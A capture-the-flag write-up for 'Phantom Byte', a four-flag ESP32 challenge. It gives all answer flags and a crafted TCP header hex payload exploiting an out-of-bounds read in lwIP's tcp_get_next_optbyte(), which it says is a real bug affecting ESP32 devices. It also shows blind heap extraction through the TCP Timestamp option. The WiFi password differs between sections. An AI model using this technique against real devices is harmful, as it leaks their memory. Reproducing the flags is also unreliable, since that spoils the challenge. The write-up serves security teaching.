# Phantom Byte

| Field | Value |
|-------|-------|
| Category | ESP |
| Difficulty | Multi-part (Easy to Hard) |
| Points | 100 / 200 / 300 / 500 (4 flags) |
| Author | Eun0us |
| CTF | Espilon 2026 |

---

## Description

An ESP32 device was seized during a raid on an underground hackerspace.
It is a relay node for a mesh network called **"The Wire"**.

The node's WiFi AP is still broadcasting. A debug probe is exposed on its TCP input path.

*Peel back the layers. Extract every secret this node is hiding.*

**WiFi:** `Phantom_Node` / `thewire2026`
**Service:** `tcp://192.168.4.1:1337`

*"Close this world. Open the nEXt."*

---

## TL;DR

Four-layer progressive challenge based on a **real lwIP vulnerability** in
`tcp_get_next_optbyte()`. Layer 1: read base64 from UART boot log. Layer 2: find
a hidden command. Layer 3: heap-leak via crafted TCP option header (trace mode). Layer 4:
blind extraction using the TCP Timestamp option as an oracle.

---

## Tools

| Tool | Purpose |
|------|---------|
| `esptool.py` | Flash firmware to ESP32 |
| `screen` / `minicom` | Read UART boot log |
| `nc` | Connect to TCP service on port 1337 |
| Python 3 | Automated exploit / solve script |

---

## Flags Summary

| Flag | Name | Points | Value |
|------|------|--------|-------|
| 1/4 | Signal | 100 | `ESPILON{u4rt_s33s_4ll}` |
| 2/4 | Backdoor | 200 | `ESPILON{h1dd3n_c0nf1g}` |
| 3/4 | Memory Bleed | 300 | `ESPILON{ph4nt0m_byt3_h34p_l34k}` |
| 4/4 | Blind Oracle | 500 | `ESPILON{bl1nd_str4ddl3}` |

---

## Solution

### Setup

Flash firmware, connect to WiFi AP `Phantom_Node` / `thewire2024`, then:

```bash
nc 192.168.4.1 1337
```

---

### Flag 1 — Signal
![Netcat debug probe session](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/phantom_nc.png)
 (100 pts)

Monitor the UART output during boot. Among the diagnostic lines:

```
[    0.089] DIAG:b64:RVNQSU9Me3U0cnRfczMzc180bGx9
```

Decode the base64:

```bash
echo "RVNQSU9Me3U0cnRfczMzc180bGx9" | base64 -d
# ESPILON{u4rt_s33s_4ll}
```

![UART terminal showing the base64 diagnostic line on boot](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/phantom_uart.png)

Submit over TCP:

```text
ph> unlock ESPILON{u4rt_s33s_4ll}
>> sequence accepted.
>> layer 2 unlocked. you're getting closer to the wire.
```

---

### Flag 2 — Backdoor (200 pts)

In layer 2, `help` lists the documented commands. The `mem` output hints:

```
ph> mem
>> secrets cached in the wire
```

And `info` shows:

```
>> backdoor: [CLASSIFIED]
```

The hidden command is `wire`:

```text
ph> wire
>> accessing the wire...
>> config_cache dump:
>> ESPILON{h1dd3n_c0nf1g}
```

![wire command revealing the hidden config cache contents](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/phantom_wire.png)

Submit:

```text
ph> unlock ESPILON{h1dd3n_c0nf1g}
>> layer 3 unlocked. careful. the deeper you go, the less you come back.
```

---

### Flag 3 — Memory Bleed (300 pts)

In layer 3, enable debug tracing:

```text
ph> trace on
>> trace enabled.
```

The vulnerability: `tcp_get_next_optbyte()` uses `doff * 4` as the claimed option
length without checking that it stays within the actual received segment bytes. Build
a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes, 20 more than present):

```
Bytes 12-13: F002  (doff=15, flags=SYN)
Full: 053900500000000100000000f002ffff00000000
```

```text
ph> inject 053900500000000100000000f002ffff00000000
```

The trace output shows each out-of-bounds byte read from the adjacent `config_cache`:

```
[TRACE] tcp_get_next_optbyte:
  [ 20] 0x45 << oob
  [ 21] 0x53 << oob
  [ 22] 0x50 << oob
  [ 23] 0x49 << oob
  ...
```

Convert the oob bytes to ASCII: `ESPILON{ph4nt0m_byt3_h34p_l34k}`

![trace output showing oob bytes reading the flag from heap](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/phantom_trace.png)

---

### Flag 4 — Blind Oracle (500 pts)

Disable trace output — no more per-byte visibility:

```text
ph> trace off
```

The vulnerability still exists, but now the only feedback is the **parsed option
values** emitted as structured output. Use the TCP Timestamp option (kind=8, len=10)
to straddle the segment boundary. The 8 data bytes (TSval + TSecr) are read from OOB
heap memory, but their values are returned as decimal numbers in the response.

**Extraction technique:**

Place the Timestamp kind+len bytes as the last 2 in-bounds bytes. The 8 value bytes
are read from the adjacent flag buffer.

- Chunk 1 (bytes 0–7): `>> opt: TS=1163150159/1280267387`
  - `1163150159 = 0x45535049` → `ESPI`
  - `1280267387 = 0x4C4F4E7B` → `LON{`

- Chunk 2 (bytes 8–15): decode TSval/TSecr → `bl1n` / `d_st`

- Chunk 3 (bytes 16–22): decode TSval/TSecr → `r4dd` / `l3}\x00`

Reconstruct: `ESPILON{bl1nd_str4ddl3}`

![inject command returning TS values that decode to flag bytes](https://git.espilon.net/Eun0us/ESPILON-CTF-2026-Writeups/raw/branch/main/screens/phantom_inject.png)

Automated solver:

```bash
python3 solve.py 192.168.4.1 1337
```

---

## Real-world Context

This challenge is based on a **real vulnerability** found in lwIP 2.1.3 (ESP-IDF v5.3).
The function `tcp_get_next_optbyte()` in `tcp_in.c` does not validate that the option
index stays within the pbuf's actual payload length. A remote attacker can send a crafted
TCP packet to any ESP32 with an open TCP port and leak adjacent heap memory.

---

## Flag

- Flag 1: `ESPILON{u4rt_s33s_4ll}`
- Flag 2: `ESPILON{h1dd3n_c0nf1g}`
- Flag 3: `ESPILON{ph4nt0m_byt3_h34p_l34k}`
- Flag 4: `ESPILON{bl1nd_str4ddl3}`
